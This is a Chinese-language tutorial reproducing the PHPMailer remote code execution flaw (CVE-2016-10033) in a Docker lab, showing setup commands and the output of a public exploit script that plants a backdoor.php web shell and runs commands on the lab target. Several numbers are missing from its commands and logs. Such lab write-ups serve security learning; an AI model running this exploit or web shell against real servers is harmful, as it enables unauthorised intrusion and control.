PHPMailer < 5.2.18 远程代码执行漏洞(CVE-2016-10033)

2022-11-17,,,,

PHPMailer < 5.2.18 Remote Code Execution 

  本文将简单展示一下PHPMailer远程代码执行漏洞(CVE-2016-10033)的利用过程,使用的是别人已经搭建好的docker环境,见参考链接。

  实验环境是在Ubuntu 16.04.3上,使用docker镜像。

安装和使用docker镜像

  首先需要在ubuntu上安装docker,可使用如下命令进行安装:

root@starnight:~# apt-get install docker.io    【安装docker】
root@starnight:~# docker run --rm -it -p : vulnerables/cve--
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 172.17.0.2. Set the 'ServerName' directive globally to suppress this message
==> /var/log/apache2/access.log <== ==> /var/log/apache2/error.log <==
[Thu Nov ::47.098917 ] [mpm_prefork:notice] [pid ] AH00163: Apache/2.4. (Debian) configured -- resuming normal operations
[Thu Nov ::47.101902 ] [core:notice] [pid ] AH00094: Command line: '/usr/sbin/apache2 -f /etc/apache2/apache2.conf' ==> /var/log/apache2/other_vhosts_access.log <==

  安装完docker之后,需要把相应的靶机环境下载(pull)下来,首次运行上面那条命令会下载docker镜像,之后就会像上面运行的那样,表明docker镜像正在运行。

  查看一下ip地址:

root@starnight:~# ifconfig | grep inet
inet addr:172.17.0.1 Bcast:0.0.0.0 Mask:255.255.0.0
inet6 addr: fe80:::4aff:fe88:49e5/ Scope:Link
inet addr:192.168.0.8 Bcast:192.168.0.255 Mask:255.255.255.0
inet6 addr: fe80::a7c0:e1f7::7e6a/ Scope:Link
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::/ Scope:Host
inet6 addr: fe80::98a9:5bff:fe1f:b1c9/ Scope:Link

  这里192.168.0.8是我们Ubuntu的ip地址,172.17.0.1是docker镜像的内部地址,通过访问http://192.168.0.8:8080/, 就能看到搭建好的存在漏洞的环境:

漏洞测试

  接下来我们使用kali来进行测试, 下载exploit-CVE-2016-10033中的exploit.sh到本地,运行如下命令进行测试:

root@kali:~/penetest/CVE--# ./exploit.sh 192.168.0.8:
[+] CVE-- exploit by opsxcq
[+] Exploiting 192.168.0.8:
[+] Target exploited, acessing shell at http://192.168.0.8:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Running whoami
www-data
RemoteShell> ls
[+] Running ls
vulnerable

RemoteShell> pwd
[+] Running pwd
/www

  其实,这里并不是所有的命令运行都会正常回显(略尴尬),比如说查看ip地址的命令ifconfig就看不到输出。

  此外,我们在服务器端的输出中也能看到一些有趣的东西:

  

  更多详情,请参考下面的链接。

References

  opsxcq/exploit-CVE-2016-10033  

  PHPMailer < 5.2.18 - Remote Code Execution (Bash)

  PHPMailer < 5.2.18 - Remote Code Execution (PHP)

  PHPMailer < 5.2.18 - Remote Code Execution (Python)

PHPMailer < 5.2.18 远程代码执行漏洞(CVE-2016-10033)的相关教程结束。

《PHPMailer < 5.2.18 远程代码执行漏洞(CVE-2016-10033).doc》

下载本文的Word格式文档,以方便收藏与打印。